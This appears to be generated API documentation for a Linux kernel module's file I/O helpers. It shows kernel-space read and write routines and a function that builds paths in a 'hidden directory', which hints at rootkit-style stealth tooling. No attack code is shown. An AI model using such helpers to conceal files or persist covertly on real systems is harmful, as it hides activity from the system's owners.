io.h File Reference

#include <linux/err.h>
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/types.h>

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Functions
int	_read_file (const char *path, char **out_buf)
int	_write_file (const char *path, const char *buf, size_t len)
void	build_cfg_path (const char *fname, char *out, size_t sz)
char *	read_file (char *filename, int *readed_size)

Function Documentation

_read_file()

int _read_file	(	const char *	path,
		char **	out_buf
	)

_read_file - Reads the contents of a file into a dynamically allocated buffer.

Parameters

path	Path to the file to be read.
out_buf	Pointer to a char pointer that will receive the allocated buffer containing the file contents. Return: On success, returns the number of bytes read (excluding the null terminator). On failure, returns a negative error code.

Definition at line 12 of file io.c.

                                                 {
    size_t tot = 0;
    size_t buf_size = STD_BUFFER_SIZE;
    struct file *f;
    loff_t pos = 0;
    char *buf;
    int ret;
 
    buf = kzalloc(buf_size, GFP_KERNEL);
    if (!buf)
        return -ENOMEM;
 
    f = filp_open(path, O_RDONLY, 0);
    if (IS_ERR(f)) {
        ret = PTR_ERR(f);
        kfree(buf);
        return ret;
    }
 
    // Pas bo
    while ((ret = kernel_read(f, buf + tot, buf_size - tot - 1, &pos)) > 0) {
        tot += ret;
 
        if (tot >= buf_size - 1) {
            size_t new_size = buf_size * 2;
            char *resized = krealloc(buf, new_size, GFP_KERNEL);
            if (!resized) {
                kfree(buf);
                filp_close(f, NULL);
                return -ENOMEM;
            }
 
            buf = resized;
            buf_size = new_size;
        }
    }
 
    filp_close(f, NULL);
    if (ret < 0) {
        kfree(buf);
        return ret;
    }
 
    buf[tot] = '\0';
    *out_buf = buf;
    return tot;
}

_write_file()

int _write_file	(	const char *	path,
		const char *	buf,
		size_t	len
	)

_write_file - Write a buffer to a file in the kernel space.

Parameters

path	Path to the file to write.
buf	Pointer to the buffer containing data to write.
len	Number of bytes to write from the buffer. Return: Number of bytes written on success, or a negative error code on failure.

Definition at line 67 of file io.c.

                                                               {
    struct file *f;
    loff_t pos = 0;
    int ret;
 
    f = filp_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
    if (IS_ERR(f))
        return PTR_ERR(f);
 
    ret = kernel_write(f, buf, len, &pos);
    filp_close(f, NULL);
    return ret;
}

build_cfg_path()

void build_cfg_path	(	const char *	fname,
		char *	out,
		size_t	sz
	)

build_cfg_path - Constructs a full path for a configuration file in the hidden directory.

Parameters

fname	Name of the configuration file.
out	Output buffer to store the full path.
sz	Size of the output buffer.

Definition at line 87 of file io.c.

                                                             {
    snprintf(out, sz, "%s/%s", HIDDEN_DIR_PATH, fname);
}

read_file()

char * read_file	(	char *	filename,
		int *	readed_size
	)